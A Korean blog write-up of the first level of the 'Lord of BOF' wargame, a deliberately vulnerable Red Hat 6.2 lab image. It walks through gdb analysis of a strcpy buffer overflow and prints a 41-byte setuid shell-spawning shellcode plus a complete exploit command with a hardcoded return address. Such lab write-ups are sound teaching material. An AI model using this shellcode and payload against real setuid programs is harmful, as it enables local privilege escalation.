[목차]

 

 

1. 개요

2. 환경 설정

3. 참고 사항

4. 문제 풀이

5. 공격 방식 정리

 

 

 

 


 

 

 

[개요]

 

 

1. BOF-BufferOverflow- 원정대란?

비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지

수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game 이다.

 

 

2. 접속 방법

BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공한다.

따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식이다.

 

 

3. 다운로드

1. 다음 Vmware 이미지를 다운받아 부팅한다.

http://hackerschool.org/TheLordofBOF/TheLordOfTheBOF_redhat_bootable.zip

2. gate/gate로 로그인한다.

3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨음)

4. ip를 확인한다. (/sbin/ifconfig)

5. putty, xshell등으로 터미널에 접속하여 문제 풀이를 시작한다. (telnet)

 

 

4.기본 룰

ㄱ. single boot 금지

ㄴ. root exploit 금지

ㄷ. /bin/my-pass 명령에 LD_PRELOAD 사용 금지

 

 

5. 레벨업 패스워드 확인

/bin/my-pass

 

 

6. 전용 게시판

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship

 

7. 몹 리스트

LEVEL1 (gate -> gremlin) : simple bof

LEVEL2 (gremlin -> cobolt) : small buffer

LEVEL3 (cobolt -> goblin) : small buffer + stdin

LEVEL4 (goblin -> orc) : egghunter

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7 (darkelf -> orge) : check argv[0]

LEVEL8 (orge -> troll) : check argc

LEVEL9 (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF

 

* Level 20까지의 몹들을 모두 잡은 후 풀이법을 BOF 전용 게시판에 올리면,

Fedora 성으로 입장할 수 있는 권한을 부여받을 수 있음.

 

 

 


 

 

 

[환경 설정]

 

 

redhat 6.2버전

(부팅시 grub가 아니라

리눅스 로더라는걸 사용했음)

커널이 2.2.14 완전 구 버전이라

화면도 글씨도 너무 작다.

 

 

네트워크 설정을 확인하고

telnet으로 원격 접속 후

작업 환경을 개선해 문제를 풀자.

 

 

 

1. 네트워크 확인

* 그냥 ifconfig 입력하면

커맨드를 찾을 수 없다고 나온다.

$/sbin/ifconfig

 

* 포트 스캐닝 작업을 통해

putty 접속시 필요한

열린 포트 번호를 알아내자.

$netstat -antp | grep :23

 

 

 

 

 

2. 접속

 

 

 

 

 


 

 

 

[참고사항]

 

1. gcc 2.96 이하버전에서는 dummy 공간이 존재하지 않고(# gcc -v)

구버전 bash에 버그가 있어 FF를 00로 인식하는 문제가 존재한다.

따라서, 업그레이드 버전인 /bin/bash2를 실행해 문제를 풀자.

/bin/bash -> /bin/bash2 (# bash2)

 

 

 

2. 문제 풀이에 필요한 41바이트 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80

 

 

 


 

 

 

 

[문제 풀이]

 

 

1. 정보 얻기

ㄱ. 들어 있는 파일들을 점검해 보고 특이사항을 확인한다.

 

그냥 $ bash2만 입력해도 된다.

 

 

 

 

ㄴ. 힌트 파일 소스 코드 확인

 

할당된 크기를 오버한 값이 입력되면 BOF가 일어난다

 

 

* strcpy 함수

NULL 전까지의 문자열을 복사하는 함수로

입력한 문자열이 버퍼의 크기를 넘어가도 그대로 복사한다는 특징이 있다.

(복사할 문자열의 크기 제한없음)

그럴 경우 버퍼 오버플로우가 발생한다.

 

 

 

[코드 정리]

strcpy 함수를 통해 256바이트를 buffer[256] 에 단순히 복사하는 코드

 

 

 

 

2. 파일 분석

 

ㄱ. 우선 임시 폴더를 생성 >

분석하려는 setuid가 걸려있는 파일을 복사한다.

 

이렇게 하지 않으면 권한 때문에 gdb 분석 과정중에 '실행'이 안됨

 

 

 

 

ㄴ. gdb로 디스어셈블 후 분석

 

메모리 구조를 파악해보자

 

 

 

<main+3>에서 0x100(256바이트)의 메모리를 확보했고

더미 공간은 없다. (gcc 2.96 이하버전에서는 dummy 공간이 존재하지 않음)

 

| buffer (256) | SFP(EBP) (4) | RET(4) |

 

 

 

 


 

 

 

2. 공격

 

ㄱ. 공격 방법

1) RET 시작 전까지의 영역(buffer + SFP = 260바이트)을

변조하려는 쉘 코드(41 바이트)와 가비지 데이터(NOP)로 채워 넣고

2) RET 자리에 buffer 시작 주소를 넣어 쉘 코드가 실행 되도록 한다.

 

 

buffer [256] + SFP[4] RET[4]

(NOP*100 + 쉘코드 41 + NOP*119) + 'buffer 시작주소'

 

 

 

* 참고로 NOP이란 no operation의 줄임말.

작업을 수행하지 않는 가비지 데이터인데

CPU가 NOP을 만나면 아무런 수행을 하지 않고

유효한 instruction을 만날때까지 1바이트씩 이동한다.

"\x90"으로 표기.

 

 

*NOP을 이용한 이와 같은 공격 방법은 고전적인 방법으로

현재는 거의 사용하지 않는다.

 

 

 

 

ㄴ. buffer의 주소 찾기

 

1) break point 설정 : argv 인자로 전달한 공격문은

strcpy()함수 이후에 buffer에 복사되기 때문에

strcpy()이후로 break를 걸어야 한다.

 

사용자 입력을 받고, 받은 값을 buffer 변수에 저장하는

strcpy 함수 바로 다음 포인트인 <main + 59>에 브레이크를 걸고

실행시켜 buffer의 주소를 찾자.

 

 

buffer 변수의 시작 주소는 0xbffff918

 

 

다시 한번 확인

확인 완료

 


 

 

ㄷ. 공격

 

[gate@localhost gate]$ /home/gate/gremlin `python -c 'print "A"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*119+"\x18\xf9\xff\xbf"'`

 

성공

 

 

 


 

 

 

[공격 방식 정리]

 

 

요는 RET(return address) 값을 변질 시키는 것.

 

buffer의 시작 주소로 이동 후

NOP을 거쳐 아무런 수행없이 1바이트씩 이동하다가

중간 어딘가에 있는 쉘 생성코드가 있는 주소에 도착,

쉘 생성코드가 실행된다.

 

그래서 buffer 중간에 쉘코드를 집어넣고

RET에는 buffer의 시작 주소를 넣으면

프로그램이 의미없는 문자열을 쭉 타고 와서 쉘코드를 실행하게 되는 것.

 

 

 

buffer[256] SFP[4] RET[4]

AAAA..쉘코드41..AAAA | AAAA | 0xbffff918 |

 

buffer [256] + SFP[4] + RET[4]

(nop*100 + 쉘코드 41 + nop*119) + 0xbffff918

 

 

* buffer 중간에 쉘코드를 집어 넣는 것이기에

쉘 코드 전 후 크기는 랜덤하게 설정해 줘도 된다.

ex) 200 + 쉘코드(41) + 19

 

728x90
반응형

+ Recent posts